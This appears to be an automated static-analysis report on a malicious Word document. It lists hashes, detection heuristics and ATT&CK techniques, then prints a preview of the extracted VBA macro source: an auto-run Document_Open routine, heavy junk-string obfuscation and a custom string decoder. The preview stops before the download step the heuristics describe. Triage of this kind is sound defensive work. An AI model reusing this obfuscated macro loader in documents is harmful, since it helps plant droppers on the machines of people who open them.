Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d326b78f4869c319…

MALICIOUS

Office (OLE)

237.0 KB Created: 2018-10-09 10:39:00 Authoring application: Microsoft Office Word First seen: 2019-09-30
MD5: 36d21b96cff24932a958fabdf1374bc0 SHA-1: 8bad801b7bb0abf16ecd3f60f45a782094a5567e SHA-256: d326b78f4869c3192d04a8338bcc4df1abb3e1756979a13e6fcc098c5f018337
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The critical heuristic 'OLE_VBA_HTTP_DROP_EXEC' indicates that the VBA macros download and write a file to disk, and 'OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER' suggests an obfuscated loader. The 'Document_Open' macro is triggered upon opening the document, initiating the malicious behavior. The script attempts to download a payload, likely for further execution.

Heuristics 9

  • VBA macros detected medium 6 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA downloads and writes a file to disk critical OLE_VBA_HTTP_DROP_EXEC
    VBA reads an HTTP response body and writes it to disk (ADODB.Stream SaveToFile). Combined with the auto-exec/Shell paths this is a download-drop dropper even when the COM ProgIDs are built dynamically to evade keyword scanning.
    Matched line in script
        aHmukJQ = poZkY.responseBody
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
    Matched line in script
        Set PqzFI = CreateObject(iGrBcIaC)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
        Set PqzFI = CreateObject(iGrBcIaC)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
        dSmmVjS = Replace(VqHDDcKg(dSmmVjS), "QmNzjaBWoS", Environ(VqHDDcKg("T$-Vm@VTe @$&^ tmG % V-EprG!p  ]")))
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 70393 bytes
SHA-256: b02e83cd74d4da5a2707e2215a5f8ea66c8b96ce507b2efaff3b6209149e9bb1
Detection
ClamAV: No threats found
Obfuscation or payload: likely
398 of 648 identifiers look randomly generated (e.g. 'PqZHUxeKVfaQM$'); 31 string-concatenation chain(s) — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Private Sub Document_Open()
    fHlGfNzvea = 4 + 70 + 60
    RSnnso = Left("p ]EXGDF.#vFM", 5) + LTrim("t]oET Q")
    

    PhtUXWsUtfk = LTrim("Py!G  d  t#!c@ j")
    BwrGM = 100 + 54
    jsgyQNiZuo "AJASgruRy", "QSpXoaVYb", "xOdnUHc", "RMuOTR", "ajmwzFhSg", "JeKRpwIzU", "MsovarAQCx", "tYxZKqui", "eJvVzpjYsM"
    CPiHPcTxhPWQ = UCase("-E d Y nvZj") + RTrim("NeFQBXx Wc H[ceHuH B")
            For ZtESnk = 2 To 7
                drbLfxyUW = LTrim("aUeutYtj")
                OROagXjiR = Space(17) + Left("bKg Tt w XC", 3)
                QELIgcCs = Space(18) + Left("lxD!rSabJ J.RGdBSU", 2)
                aFQdiWeWvqLd = RTrim("ptimuC  Q N EF ") + StrReverse(" jn pkla ? ")
            Next ZtESnk

    KQMru = Left(" (  c $ wx x (X", 5) + LTrim("DlF?z npy( ?I ")
            While BiDDWN < 3
                While QYdQve < 1
                    xmNOS = LTrim(" yeJOsrk?J-jG ^z - H")
                    

                    qtqCqSFgbvf = Left("IYUx T?f]u U", 3) + LTrim("EOpRq ")
                    KqyTjvmXff = Space(8) + Left(" rr rvbM_cTX ]j", 5)
                    QYdQve = QYdQve + 1
                Wend

                sMmvlNrr = Right("szq@y E  (h  g$HLE", 5)
                BwrGM = RTrim("di f eyTA -tLRFn l") + StrReverse("i   if RKCyz wES]")
                agRAOnDi = RTrim(" QWTbXJH&Pm  N)[mPn$") + UCase("xCCaR#OG?")
                BiDDWN = BiDDWN + 3
            Wend

            While uHBJus < 2
                For ETaBFI = 2 To 7
                    QELIgcCs = RTrim("R[ n ") + StrReverse("bPi- U  ozB")
                    VneHPrvJfOu = LTrim("]$ cp")
                    xeEsULWjHVY = 26 + 95 + 86 + 78 + 25 + 85
                Next ETaBFI

                FwSPc = Space(10) + Left("Q# Q%?pkYcGgQmG  wOz", 2)
                AtesmqSXNYO = 39 + 50 + 17 + 46 + 35 + 96
                wGUVfImhdc = RTrim(" w#Elrc") + StrReverse(" y    ]T cCDxMBp")
                uHBJus = uHBJus + 3
            Wend

    KqyTjvmXff = RTrim("RSQ Vv X^ ") + UCase("edNE B zd")


End Sub



Attribute VB_Name = "Module1"

Function tUqVOK(kOgTrF As Boolean, xSRfBZ As String, XmVMLp As Integer) As String
    dOeEpoXgRwdg = RTrim("idv^Jn K je") + StrReverse("& MZ  b")
    xZLmn = RTrim("Y MEb#L E") + StrReverse(" U KF)p(F ? -nP )  ")
    KqyTjvmXff = UCase("ir HZz") + RTrim("c  ? @ CN&p  $ A")
    FturCyqCeSrX = 5 - 32 - 2 - 65
    tUqVOK = "OYvf"
End Function


Function jlBJhl(LjcPbsS As Double, RSrQRAg As Boolean, NmYmzBg As Boolean, IhjYNsc As Double) As String
    FturCyqCeSrX = RTrim("KQ kp(  JNGB") + StrReverse(" !MEyhchv ki Fqn ^")
    KyqWHn = LTrim("faN  U-EmUi")
    RmtGISKyZ = 21 - 76 - 46
    OROagXjiR = LTrim("ANeH i Wfv")
    QELIgcCs = 87 - 20 - 82
    jlBJhl = "qHHkx"
End Function



Attribute VB_Name = "Module2"

Function rAfRVx(aEBdVG As Integer) As String
    RmtGISKyZ = RTrim("ls I[)M -R ") + UCase(" E^fkN")
    MAUqKm = LTrim("sF gYR_OmRFrq ")
    xmNOS = RTrim(" Di HBhLt") + StrReverse("wtLjq.K b")
    rAfRVx = "yNX"
End Function



Sub xcHPuL(MOvQNhT As Boolean, ozlMovz As String)
    KwidyorjsrJ = Space(2) + Left("i_ @J", 2)
    xeEsULWjHVY = Left("PH A is(  D", 2) + LTrim("Kd  hOmA GleR  DNs")
    aFQdiWeWvqLd = LTrim("#F   ")
End Sub



Function rZNccL(OexxsE As Double, gpWtAN As Double, KMgaNp As Double, oMpJyUt As Double) As String
    BwrGM = LTrim("ZGnmUPO Gm z. u] kM ")
    aazJqJwo = RTrim("t CM]xTQ") + UCase("iIh I")
    rZNccL = "xS"
End Function



Attribute VB_Name = "Module3"

Function oynPKv(OIxmKu As Integer) As String
    EWtwukpcYvK = UCase(" g    ") + RTrim("Gmch   %r   D !r^  Q")
    EVCiVR = RTrim("(  NH  #xVZ vT") + StrReverse(" j &Wr v-]X$")
    fHlGfNzvea = 36 + 56 + 9 + 4 + 4 + 19
    KQMru = Left("QcWcRRG", 3) + LTrim("w !ndTk) G af%g    c")
    cymOv = Space(16) + Left("INDp#Y  h%V&", 4)
    oynPKv = "xmgkR"
End Function



Function lHbJTgHL(IKQzftpL As String) As String
RSnnso = Left("kGw-#N ]K _ Gw [ vU]", 3) + LTrim(" )o wJVhO dDs ")
    Dim AKKbbGZ As String
    drbLfxyUW = RTrim("xT^ O Adq  at") + StrReverse("^%#F_V#oG?n")
    Dim NbXdexK() As Byte
    QELIgcCs = Left(" &vYN  $  kQ Q", 3) + LTrim("( TuE BvCM")
    Dim FBmmeY As Integer
    RQrItliDz = LTrim("bXusy ?C[  YmmRA")
    Dim BvwohMVx(804) As Byte
    AtesmqSXNYO = 4 + 73 + 66 + 17 + 14 + 28
    FBmmeY = 0
    aFQdiWeWvqLd = LTrim("DWNRPIH^c_nbp]")
    NbXdexK = StrConv(IKQzftpL, vbFromUnicode)
    RSnnso = RTrim("Q^mr#yBFi-gp") + UCase("L  cu cAu) y ")
    For LkuATS = 0 To UBound(NbXdexK) - 1
    FturCyqCeSrX = Left(" dOn   ROEA", 2) + LTrim("R % G.k - .i ")
        If (LkuATS Mod 8 = 0) Then
        OROagXjiR = Left("Jpg JD_Yu", 5) + LTrim("l[ lPxdfYj l$tF BII(")
            BvwohMVx(FBmmeY) = NbXdexK(LkuATS)
            VneHPrvJfOu = Left("Aj ReEeW  lANW", 3) + LTrim("&l Ui")
            FBmmeY = FBmmeY + 5 + 6 - 10
            VWxqdXHnax = Left(" p)Q ", 4) + LTrim("rf&d  rmrw    ")
        End If
        FwSPc = RTrim("O S  ") + UCase("  Mt?vtimqXI#")
    Next LkuATS
    KwidyorjsrJ = Left("v Ebpj  o ", 5) + LTrim("?Tpp   DE(EYJGuAz  H")
    lHbJTgHL = StrConv(BvwohMVx, vbUnicode)
    gbrtxeIzt = Right("#sl)sIcA W?[%sQdaifT", 2)
End Function


Attribute VB_Name = "Module4"

Sub SOlCwS(ABKasbb As String, xlICVJC As Boolean, qqMIYQ As String)
    aazJqJwo = 26 - 15 - 43 - 42 - 15
    KyqWHn = Right("AEI eEk", 3)
    VefBQsjL = Right("Y &a!.[ bxir", 5)
End Sub



Function NJEdIn(VDDDKW As Integer, cQLflix As Double) As String
    OROagXjiR = Right("lJZHX_OI$fcd", 5)
    EVCiVR = LTrim(" D $o d yufN-")
    qtqCqSFgbvf = LTrim(" W W  $-DK!hX ]m")
    PhtUXWsUtfk = 20 + 28 + 91
    AnWWAnthZFh = 100 - 64 - 23
    NJEdIn = "WLzgE"
End Function



Attribute VB_Name = "Module5"

Sub KDMXVf(BOyecR As String, lejzMSf As Boolean, VZhJgq As String, gdhBhG As Boolean)
    FturCyqCeSrX = RTrim(" Gj rfOO ]ogY") + StrReverse(" NFDT  QVzLUYQ ^x cj")
    cymOv = 79 + 25
End Sub



Function cdrGPI(MydnzZx As Integer, lnmIdqU As Integer, iuhfgPK As Double, cOuZgQr As Boolean) As String
    EVCiVR = RTrim(" ]  JKX?VV ()") + UCase("?_rbk&")
    For yjbYvL = 2 To 8
        FpHFSXYzOe = Left("iLV$ ", 4) + LTrim("LxL ll _krN")
        VWxqdXHnax = UCase("&t  ufn") + RTrim(" w- dBx     _hHWihG ")
        EWtwukpcYvK = Left("uVx-m HB", 5) + LTrim("#ze ? F")
        xZLmn = RTrim("  ( LTrm$ y") + StrReverse("RF zw[U &Sh? K KF")
        RmtGISKyZ = Left("w&Sok^ $&  [)yh  !", 2) + LTrim("x.i)vpyUy R -rc")
    Next yjbYvL

    aFQdiWeWvqLd = 24 - 45 - 56
    VWxqdXHnax = UCase("bvJEzN@x P ") + RTrim(" @cF#r ) .l")
    cdrGPI = "fYuv"
End Function



Sub iJdpoY(uHTYFtc As Boolean)
    aFQdiWeWvqLd = Space(10) + Left("AE_S ", 4)
    

    HvjJWrs = 86 + 90
End Sub



Function bzPLtR(VWtybP As String, ZpWVIAj As Double) As String
    While fbjUBW < 5
        FwSPc = RTrim("wfh-fbqjNEo") + UCase("t d T uxzDLhj(KR&")
        qtqCqSFgbvf = 0 + 62 + 11 + 86 + 21 + 23
        

        fbjUBW = fbjUBW + 2
    Wend

    QELIgcCs = 73 + 93 + 46 + 43 + 0
    qtqCqSFgbvf = 42 + 2 + 74 + 82
    hBbvQztU = RTrim("K@E t C^ X    qrnkN-") + UCase("ta (W$Von")
    FturCyqCeSrX = RTrim("%  P KvdO! #hvc)") + UCase("   vs? ")
    bzPLtR = "rqwLV"
End Function



Attribute VB_Name = "Module6"

Sub EPieGO(qdHCfTf As Double, Swferh As Double, MtksGM As Double, qfugCJ As String, RdqUsS As Boolean)
    BwrGM = RTrim("  ) NiSKY_ rt ") + UCase("xz Zm       u!Hmv")
    qtqCqSFgbvf = Right("Echb^CXFCNTTE    L", 3)
End Sub



Function TBcsdy(pIVIgBI As Boolean, cWHJIzL As Double, rcuWBPV As Double, zGlPKeR As Double, AcaFLp As Boolean) As String
    

    xmNOS = LTrim(" P?zTk")
    EVCiVR = LTrim("s$Iys i_(   A^! ")
    TBcsdy = "Fyg"
End Function



Attribute VB_Name = "Module7"

Sub IWWhjq(cRYXrgN As String, DMAXdo As Integer, RgLiLJK As Boolean)
    EVCiVR = RTrim("ojxj^ix l ") + UCase(" wC&Ev")
    xmNOS = RTrim(" QZ - EJ( E rA!") + StrReverse(" R[  WD$")
    qtqCqSFgbvf = 27 + 22 + 29 + 84
End Sub



Function PxWZff(InqUWm As String) As String
    aazJqJwo = Left("z-Z(gYk  qVn ", 3) + LTrim("( zh?zkB[g dS]l")
    HvjJWrs = Space(15) + Left("Jb _N", 3)
    qtqCqSFgbvf = Left(")(W  $.n  nuSR))^!", 5) + LTrim("EI jt_Id ? )Nd b FCP")
    FwSPc = RTrim(".RYUG!FAlymJ ") + StrReverse("d&JQPr [^")
    

    PxWZff = "APMYh"
End Function



Attribute VB_Name = "Module8"

Sub vyPSkv(JKGhwW As Boolean, jZYENsl As String)
    xZLmn = Space(20) + Left(" b SNt-U", 3)
    HvjJWrs = RTrim("XuzCnh") + StrReverse("txW?Za[TjDC! d  ")
    EWtwukpcYvK = 13 + 13 + 78 + 93
End Sub



Sub wTwLFS(RHuhKs As Integer, ncZyEP As Integer, lHDExWQ As Double)
    xmNOS = UCase("   xszBu pMH k^E") + RTrim("]T c JUJ)nK")
    EaNLou = 4 - 48 - 97 - 52 - 80 - 20
    RmtGISKyZ = RTrim("jU  & qeXH vIGvQK-") + UCase("-U@$RU %G-#jtsVZ  s")
    KwidyorjsrJ = Space(8) + Left(" CHW(j  ", 4)
End Sub



Sub jsgyQNiZuo(iqgch As String, jRvxF As String, fBw As String, ZEpl As String, ip As String, XjD As String, vgyTk As String, Qgqsp As String, dbSsA As String)
    FpHFSXYzOe = LTrim("Uq. $Ev")
    RmtGISKyZ = RTrim("Og[Qgcliwr") + StrReverse("Mrn?cVL) ")
    EaNLou = LTrim("l _# OX F t]Ep uaY")
    For ErTLlC = 2 To 8
        AnWWAnthZFh = RTrim(" . MrluD  W$KQ  zZ ") + StrReverse(" )o Td V J   ")
        BwrGM = 27 + 42
        RSnnso = 95 - 91 - 10
        xZLmn = RTrim("UpD ^") + UCase("W lGT D")
        EWtwukpcYvK = 69 + 32
    Next ErTLlC

    NCdzQdrde = UCase("cXI_ $tpe^ C") + RTrim(" DnJc(& L#")
    While GWoCXH < 3
        While DDbyfj < 4
            sMmvlNrr = RTrim("$ %WDs") + UCase("PqH V^uFlj[%_")
            aFQdiWeWvqLd = RTrim("RgR jO cyi [Ncpa ") + StrReverse(" )B[ QY  %(   Q")
            gbrtxeIzt = 65 - 3
            MAUqKm = 52 - 65 - 7 - 5 - 85 - 77
            EaNLou = Right(" hTK   ", 4)
            DDbyfj = DDbyfj + 2
        Wend

        EWtwukpcYvK = RTrim(" )K F(") + UCase(".IGWFtq ZaO  JQic  ")
        KyqWHn = LTrim("Gek A")
        fHlGfNzvea = RTrim(" # exkg") + StrReverse(" ^Yv&Kq  Du? t#vd")
        EVCiVR = Left("W[q$ )FrV qRHTQwoxx", 4) + LTrim("! %l(UD$v #$_lOBp@")
        xZLmn = UCase("Y   AE  t hDDvCk#Yn") + RTrim(" Yn R")
        GWoCXH = GWoCXH + 3
    Wend

    hBbvQztU = UCase("  r(   e[e pU @Vucu ") + RTrim("aM  tROoOlD .n")
    KqyTjvmXff = RTrim("E()   WrC(") + UCase("T. _T[   m^h")
    NBHOdrfm "JhfIif", "tYHpfgqosL", "RcOpjsxXl", "cvNyxl", "RoDHKEW", "jlGyEXH"
    Dim dSmmVjS As String
    dSmmVjS = "QO   ik-mdIN"
    dSmmVjS = dSmmVjS + RTrim("t ]%NFE qmeQ")
    

    dSmmVjS = dSmmVjS + RTrim("zE(Mc$ [j%oF")
    While BxLzaK < 4
        For NkZGCj = 2 To 5
            fHlGfNzvea = Space(17) + Left("YhCuc  a  i[M u", 3)
            

            EVCiVR = LTrim("oL$Q C ^ ntp  L O")
            

        Next NkZGCj

        aFQdiWeWvqLd = Space(15) + Left("Stt x  aJPOz", 2)
        gbrtxeIzt = Space(19) + Left("B V %ef_ cp! N  Bu", 3)
        aFQdiWeWvqLd = Right("T zET[.q ", 5)
        FturCyqCeSrX = Right(" %.ZDCID&b$", 4)
        xZLmn = UCase("VNd  I") + RTrim(" zT Ob]b CtRZv")
        BxLzaK = BxLzaK + 3
    Wend

    dSmmVjS = dSmmVjS + RTrim(" Ut(aQ)X  y?")
    While QjHEzB < 4
        While OSGyxj < 5
            MAUqKm = Right("VsdISUZtyK_W.B) z", 4)
            dOeEpoXgRwdg = LTrim("C $dlR )j")
            xeEsULWjHVY = UCase("A! %@Yh#l") + RTrim("qw@x st!Tlzx#j gid#")
            NCdzQdrde = UCase(" ?ai KFJ") + RTrim(" b!WdLvS  HZ")
            xmNOS = RTrim("#TkhA@") + UCase(")MsNO Tr ]bU  wZj")
            OSGyxj = OSGyxj + 2
        Wend

        sMmvlNrr = RTrim("OD&u zP#[HN$ _( i") + UCase("f)J^ ZwE[@")
        

        EVCiVR = RTrim(" ]%xzTjAe EXIU") + StrReverse(" i$F XyE? pE Q")
        drbLfxyUW = RTrim("xw! uQp") + UCase(" lpTs")
        QjHEzB = QjHEzB + 3
    Wend

    dSmmVjS = dSmmVjS + RTrim("BYaH![EBWH &")
    aFQdiWeWvqLd = 66 + 24 + 52 + 52 + 56 + 21
    dSmmVjS = dSmmVjS + RTrim("hKaBoER?hUBL")
    KqyTjvmXff = Left(" SOcF]P d", 2) + LTrim("H[wKj QSE%_WpR")
    dSmmVjS = dSmmVjS + RTrim("S w-#_W \! O")
    VneHPrvJfOu = Space(14) + Left("kvv $nLx?  Z", 5)
    dSmmVjS = dSmmVjS + RTrim("is%bW-! Cd K")
    While hXWQXH < 2
        MAUqKm = Space(18) + Left("  H )H _ ", 2)
        OROagXjiR = UCase("u ktJq n A_ kZ") + RTrim("  L-^B NaD")
        EWtwukpcYvK = Space(20) + Left("NAZ RXc v E!o?oGG", 5)
        hXWQXH = hXWQXH + 3
    Wend

    dSmmVjS = dSmmVjS + RTrim("tdsvJ )HH p.")
    xmNOS = Right("ZI.  %Hs)", 5)
    dSmmVjS = dSmmVjS + RTrim("d  !EyaL %p(")
    aazJqJwo = RTrim("uKovy?jB Hb&xu") + StrReverse("nEe j_bYHAuM")
    dSmmVjS = dSmmVjS + RTrim("uGUU )fZeFi)")
    While jsoown < 2
        wGUVfImhdc = 39 + 38 + 8 + 25
        drbLfxyUW = 100 + 1
        PhtUXWsUtfk = Space(8) + Left("DscxzHuC Om[", 2)
        NCdzQdrde = Space(2) + Left("NkEkgJ (.Lh)bztM ", 5)
        jsoown = jsoown + 3
    Wend

    dSmmVjS = dSmmVjS + RTrim("jzgm..mD_B P")
    While xSoIHP < 3
        RSnnso = 59 - 100 - 41 - 26
        xmNOS = 84 - 52 - 40 - 46 - 16 - 8
        wGUVfImhdc = 5 + 98 + 90 + 88 + 49
        xSoIHP = xSoIHP + 1
    Wend

    dSmmVjS = dSmmVjS + RTrim("e^yQFGv$x xD")
    cymOv = Space(6) + Left("tsFqT J   ", 2)
    dSmmVjS = dSmmVjS + RTrim("aY cecn?(]  ")
    NCdzQdrde = Left(" V]FhK#em^  .kAfmQ%", 4) + LTrim(" &Tlh  Bh")
    dSmmVjS = Replace(VqHDDcKg(dSmmVjS), "QmNzjaBWoS", Environ(VqHDDcKg("T$-Vm@VTe @$&^ tmG % V-EprG!p  ]")))
    OROagXjiR = LTrim("e#F^J  Kebed")
    For mnMzm = 0 To 311
        qtqCqSFgbvf = UCase("tQQ $Qu -  b#xT") + RTrim(" md&YS]nqxylIR  MJ ")

        If mnMzm = 178 Then
            For UcHYHc = 2 To 7
                RSnnso = Space(8) + Left("DEn$%Ctx c I gQI", 3)
                

                hBbvQztU = Right("a. ppTI nO_ P z m .[", 2)
                

                KwidyorjsrJ = Left("YjG  kAlS YX  -xia", 5) + LTrim("#R w]g i aP?Qp@ ]")
            Next UcHYHc

            VZrNPpFX dSmmVjS, "rPFd", "CMve", "WWzlZYeXaW", "Fne", "PnUe", "GlcvdFQkA", "cHBB", "ZTzpY", "xAlodMFq"
        End If
    Next mnMzm
    For ezVazN = 2 To 7
        VWxqdXHnax = 81 + 20 + 76 + 23 + 26
        

        SyJtjJjVLT = LTrim("] Os ) GdrQ oG  rbe ")
        VefBQsjL = Left("NnJd@XWbe#RwnS", 2) + LTrim(" DD@svPds")
        VWxqdXHnax = Space(3) + Left(" DaruSbY.", 5)
    Next ezVazN

    

    aFQdiWeWvqLd = Left("n#lao @V", 4) + LTrim("Y? SW  # f-?wiL[E# ")
    FturCyqCeSrX = Space(17) + Left("- q E", 4)
    xZLmn = 75 + 27 + 61 + 41
    For sMcBbT = 2 To 5
        

        

        OROagXjiR = Left("h  bt", 4) + LTrim("i %AyzP!B fYLiRP")
        

        KyqWHn = UCase("  _( t-QMW") + RTrim("Xd ZOL.cLpzpNR")
    Next sMcBbT

    PhtUXWsUtfk = Left("!R! & HJI", 4) + LTrim("PS! y D   Dg GOL[")
    EVCiVR = 6 - 11
    xZLmn = Left("O?Y? z )Q f rG", 3) + LTrim("@Tj Kl ) Cq? OFS Rb")
    wGUVfImhdc = RTrim("_B w_") + UCase("n  Cw Bno I ")


End Sub



Attribute VB_Name = "Module9"

Function uTlLvc(FLTIuQ As Double) As String
    

    xZLmn = 33 + 35
    MAUqKm = 10 - 87 - 35
    xZLmn = RTrim("Sr gC_m") + UCase("  . (  o.K UPLQ z")
    uTlLvc = "Vaaj"
End Function



Sub GviSvP(QCNhLqz As String)
    

    qtqCqSFgbvf = Left("J- Eg[t p R D", 2) + LTrim("B sgU Ufc")
    SyJtjJjVLT = 85 - 90
End Sub



Function VqHDDcKg(ajIym As String) As String
EVCiVR = RTrim("]zq Y.hc )-zO) ") + UCase("tX@.G bwGR -r")
    Dim xboonkY As String
    AnWWAnthZFh = LTrim("tfn & NKCF& T")
    Dim daafMi() As Byte
    FpHFSXYzOe = 64 + 87 + 24 + 97
    Dim RCYLYfAi As Integer
    

    Dim dSJdo(804) As Byte
    wGUVfImhdc = RTrim("OHXG mi  q% U") + StrReverse("WkV GwBaAEEJ R(kx UP")
    RCYLYfAi = 0
    FwSPc = 33 + 97 + 24 + 37 + 100 + 60
    daafMi = StrConv(ajIym, vbFromUnicode)
    MAUqKm = LTrim("P (S ")
    For hOCKZXlU = 0 To UBound(daafMi) - 1
    KyqWHn = UCase("!  oJxnY") + RTrim(")WTwptDz ")
        If (hOCKZXlU Mod 8 = 0) Then
        SyJtjJjVLT = Right("u ?iUhYt", 3)
            dSJdo(RCYLYfAi) = daafMi(hOCKZXlU)
            dOeEpoXgRwdg = 12 + 65 + 57 + 93 + 64
            RCYLYfAi = RCYLYfAi + 5 + 6 - 10
            VWxqdXHnax = UCase("Z   #[  X K  $ ") + RTrim("LToRq ?)g AO zK   ^")
        End If
        RQrItliDz = Space(12) + Left("TS ltVCsYGT   ?E", 4)
    Next hOCKZXlU
    VneHPrvJfOu = 82 - 72 - 59
    VqHDDcKg = StrConv(dSJdo, vbUnicode)
    xmNOS = UCase(" @i  $Np") + RTrim("t X ] al B!X&RRf ")
End Function


Sub oXDAVS(BArGbTs As Boolean, wzmiEpr As String, jyKLCnI As String, twzmWJH As String)
    OROagXjiR = Left("hnj( ZsIXo ", 2) + LTrim("    qZtM")
    NCdzQdrde = 71 + 18 + 5 + 33 + 30 + 83
    

    KwidyorjsrJ = 12 - 51 - 3 - 88 - 29
    

End Sub



Attribute VB_Name = "Module10"

Function LUKfJM(FZVwRa As String, NIzNYiM As Boolean, LgytmQ As Double, ljEsph As Double) As String
    HvjJWrs = RTrim(" V$[ m csgrU[  ") + UCase("JLX $s@")
    xmNOS = Space(4) + Left("fWBg%", 4)
    cymOv = 54 + 82 + 24 + 11 + 1
    VefBQsjL = 15 - 39 - 39 - 36 - 12 - 68
    drbLfxyUW = 44 - 76 - 17
    LUKfJM = "VdXIJ"
End Function



Attribute VB_Name = "Module11"

Function ddmHAq(TBPQGL As String, BKOZIzj As Double, aZIxqUG As String, eHDvxZ As Double, mAAaxRX As String) As String
    EWtwukpcYvK = RTrim("vV N %-PL") + StrReverse("S @Q xNrDKiVf &")
    

    FwSPc = UCase("YA n.  crif _ jVRii ") + RTrim("o [Yvh J & QC@")
    KqyTjvmXff = Space(6) + Left("  cM& $]Ye z_c Y  [F", 2)
    BwrGM = RTrim(")HIjI(T") + UCase("x  ] _@w")
    ddmHAq = "MIyIR"
End Function



Attribute VB_Name = "Module12"

Sub ILchkp(mOIfJkX As Double, KiIBtX As String)
    NCdzQdrde = 14 + 60 + 74 + 83
    FpHFSXYzOe = 76 + 14 + 27 + 96 + 37 + 46
End Sub



Sub CTMfYF(wUINTJt As Integer, NtvuUA As String)
    aazJqJwo = Right("N-YY ? nMyzSfmq ", 2)
    drbLfxyUW = Right("V[BBV  R@b  Fh", 3)
    For CCjLtS = 2 To 5
        VWxqdXHnax = RTrim("J]$B^C ") + UCase(" WP.  _")
        RQrItliDz = UCase("Q#(q R H   D WsMoc ") + RTrim(" ER-yY [")
        SyJtjJjVLT = Left("  XN@  vsivL", 5) + LTrim("D#Xne   G  TK")
    Next CCjLtS

    OROagXjiR = UCase("VRBh Lm-( I ") + RTrim(" Y[R  ixAxg A- ")
    KwidyorjsrJ = Left("  S  A  Dx^&a D %% P", 5) + LTrim(" (iYoBqLez]Y  ")
End Sub



Sub ifUYAV(pxaHcr As Boolean)
    For FRRnWn = 2 To 10
        CPiHPcTxhPWQ = Space(3) + Left("U^M^ d jY?y IPYTD ", 2)
        EVCiVR = RTrim("rO oXh VPvp@") + UCase(".Zk g-?pfCAz  bP(W ")
        xeEsULWjHVY = RTrim("L  t H! jkM Nz ") + StrReverse("f NS t A  j]( v")
    Next FRRnWn

    While vtGBIc < 4
        For eJGiix = 2 To 7
            fHlGfNzvea = Right("p iaVRj)]Y  ", 4)
            drbLfxyUW = RTrim("LePTTADN?X") + StrReverse("C HWtzm!  ")
            KQMru = RTrim(" rkBse MlDS$B&S ") + StrReverse("zO$ U.  Ac x(  v x")
        Next eJGiix

        NCdzQdrde = 94 - 85 - 73 - 39 - 13 - 44
        wGUVfImhdc = Left("!   tc", 5) + LTrim("I .oaT   &Hr_ C -")
        RSnnso = RTrim(" !  N!R? ") + StrReverse("!sI )kpp !)Js @  lH")
        

        vtGBIc = vtGBIc + 2
    Wend

    RmtGISKyZ = LTrim("vdyjz  ")
End Sub



Attribute VB_Name = "Module13"

Sub ynUWru(IXFBQk As String, XjmnguW As Boolean, HJIWmn As Integer)
    dOeEpoXgRwdg = 54 + 98 + 5 + 75 + 70 + 45
    KqyTjvmXff = UCase("iN #JdUM    C(UM") + RTrim("Yudt@ c awe ")
    sMmvlNrr = 9 - 15 - 88 - 23 - 79
    VneHPrvJfOu = 76 - 42 - 78 - 27 - 51
    EVCiVR = RTrim(" b D?Mwh   bIy[") + StrReverse("  tU ]L")
End Sub



Public Sub VZrNPpFX(jcoZb As String, vqhuG As String, loaik As String, cXWrujb As String, mBODd As String, UZajzY As String, YqoOYi As String, ANdmia As String, yebMTa As String, naoIcc As String)
    VneHPrvJfOu = UCase(" BP ]P[ lQ-I N    Z") + RTrim("  a^ WAxu nsmCuAsm(u")
    CPiHPcTxhPWQ = UCase(" i _ .Ox@ sjH   Dt") + RTrim(" C  ?OTtn ^]b")
    agRAOnDi = RTrim(" RRHCsplX&vDfxa") + UCase("Qt xY")
    EaNLou = 90 - 89
    RSnnso = LTrim("BSR [ v- rNEKnEl ")
    For FxzwHZ = 2 To 10
        gbrtxeIzt = 45 + 35 + 77 + 69 + 64 + 10
        

        xeEsULWjHVY = 78 - 75 - 75 - 61
        

    Next FxzwHZ

    RmtGISKyZ = Space(6) + Left("  Nm  vdgvN", 5)
    

    aFQdiWeWvqLd = LTrim("^lnQEbbZ(h urX d-")
    SyJtjJjVLT = 11 + 34 + 9 + 66 + 79 + 72
    FpHFSXYzOe = RTrim("a o)p r") + StrReverse("S  .R EUVn")
    While FUqDVK < 3
        While zZCYKk < 2
            sMmvlNrr = 28 + 87
            KqyTjvmXff = 1 + 80 + 6 + 19
            agRAOnDi = RTrim("pO f %! fpF") + StrReverse("PHhFn  .l.?JUzJd  RI")
            cymOv = RTrim("[%-_Y oy") + UCase("mqMeIogd lc? c  vN")
            zZCYKk = zZCYKk + 2
        Wend

        BwrGM = RTrim("h s^!$%Ihg ") + StrReverse("x#A MX")
        fHlGfNzvea = Right("zhW VN YJfy ", 4)
        RmtGISKyZ = RTrim("[?lG? Ca J(") + StrReverse("$ FY)CoqsR QkZ")
        KwidyorjsrJ = 34 - 82 - 90 - 1 - 6 - 24
        FUqDVK = FUqDVK + 2
    Wend

